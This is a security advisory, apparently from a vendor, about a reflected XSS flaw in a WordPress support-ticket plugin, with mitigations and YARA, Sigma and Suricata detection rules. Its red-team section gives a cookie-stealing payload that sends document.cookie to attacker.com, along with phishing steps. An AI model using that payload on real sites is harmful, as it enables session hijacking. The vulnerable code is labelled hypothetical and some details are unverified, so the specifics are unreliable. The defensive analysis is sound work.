CVE-2025-49424

Executive Summary

CVE-2025-49424 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Support Ticket" by Themepassion, affecting all versions up to and including 1.9. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 7.1 (High), and no official patch has been released as of the analysis date. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since no patch is available, users must rely on manual mitigation or removal of the plugin. The lack of a patch increases supply chain risk for any site using this plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification of content
• Availability Impact: None (A:N)

Threat Level: High. Although user interaction is required, the low attack complexity and network vector make it attractive for phishing campaigns.

Deep Dive & Mechanics

The vulnerability exists in the Support Ticket plugin's handling of HTTP GET/POST parameters. The plugin fails to sanitize or encode user input before reflecting it in the HTML response. An attacker can craft a malicious URL containing JavaScript payloads in parameters such as ticket_id, status, or search. When a victim visits the crafted URL, the payload executes in the context of the victim's browser session.

Root Cause: The plugin uses echo $_GET['param'] or similar unsanitized output functions without applying esc_html() or wp_kses().

Attack Flow:

1. Attacker crafts a URL: http://target.com/wp-admin/admin.php?page=support-ticket&ticket_id=<script>alert('XSS')</script>
2. Victim clicks the link (e.g., via phishing email).
3. The plugin reflects the ticket_id parameter directly into the page.
4. The browser executes the injected script.

Vulnerable vs. Patched Code

Vulnerable Code (support-ticket.php, line ~45):

<?php
$ticket_id = $_GET['ticket_id'];
echo "<div>Ticket ID: " . $ticket_id . "</div>";
?>

Patched Code (hypothetical fix):

<?php
$ticket_id = isset($_GET['ticket_id']) ? sanitize_text_field($_GET['ticket_id']) : '';
echo "<div>Ticket ID: " . esc_html($ticket_id) . "</div>";
?>

The patched version uses sanitize_text_field() to strip malicious input and esc_html() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Support Ticket plugin <= 1.9
• Attacker-controlled server to capture exfiltrated data

Exploit Payload:

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Crafted URL:

http://target.com/wp-admin/admin.php?page=support-ticket&ticket_id=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Steps:

1. Encode the payload URL to avoid browser filtering.
2. Send the link to the victim via email or social engineering.
3. Monitor attacker server for incoming cookie data.

Blue Team (Detection & Prevention)

Detection:

• Monitor web server logs for unusual parameters containing <script> or onerror= patterns.
• Use WAF rules to block reflected XSS patterns.

Prevention:

• Disable or remove the Support Ticket plugin until a patch is available.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use WordPress hardening plugins that add input validation.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-admin/admin.php?page=support-ticket with parameters containing <script>, onerror, javascript:, or base64-encoded payloads.
  • Outbound connections to unknown domains from the WordPress admin panel.

• File IOCs:

  • Modified support-ticket.php file (if attacker uploaded a backdoor).
  • Suspicious entries in WordPress wp_options table (e.g., support_ticket_settings).

• Log IOCs:

  • Repeated 404 errors on non-existent plugin pages.
  • User agent strings containing curl or python-requests hitting admin pages.

Detection Engineering

YARA Rule

rule CVE_2025_49424_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Support Ticket plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-49424"
    strings:
        $payload1 = "<script" ascii wide nocase
        $payload2 = "onerror=" ascii wide nocase
        $payload3 = "javascript:" ascii wide nocase
        $param = "ticket_id=" ascii wide nocase
    condition:
        any of ($payload*) and $param
}

Sigma Rule

title: Reflected XSS Attempt Against Support Ticket Plugin
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with XSS payloads in Support Ticket plugin parameters
author: Valters IT
date: 2025/04/10
tags:
    - attack.t1059.007
    - cve.2025.49424
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - 'ticket_id=<script'
            - 'ticket_id=onerror='
            - 'ticket_id=javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in ticket IDs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49424 Reflected XSS in Support Ticket Plugin"; flow:to_server,established; content:"ticket_id="; http_uri; pcre:"/ticket_id=(?:<script|onerror=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete the Support Ticket plugin from all WordPress installations.
2. Implement WAF rules – Block requests containing XSS patterns in ticket_id, status, or search parameters.
3. Add CSP header – Set Content-Security-Policy: script-src 'self'; to prevent inline script execution.

Long-term Fix:

• Monitor the Themepassion vendor for an official patch. If none is released, consider migrating to an alternative support ticket plugin with active maintenance.

Verification:

• After applying mitigations, test the vulnerable endpoint with a benign XSS payload to confirm blocking.

Valters IT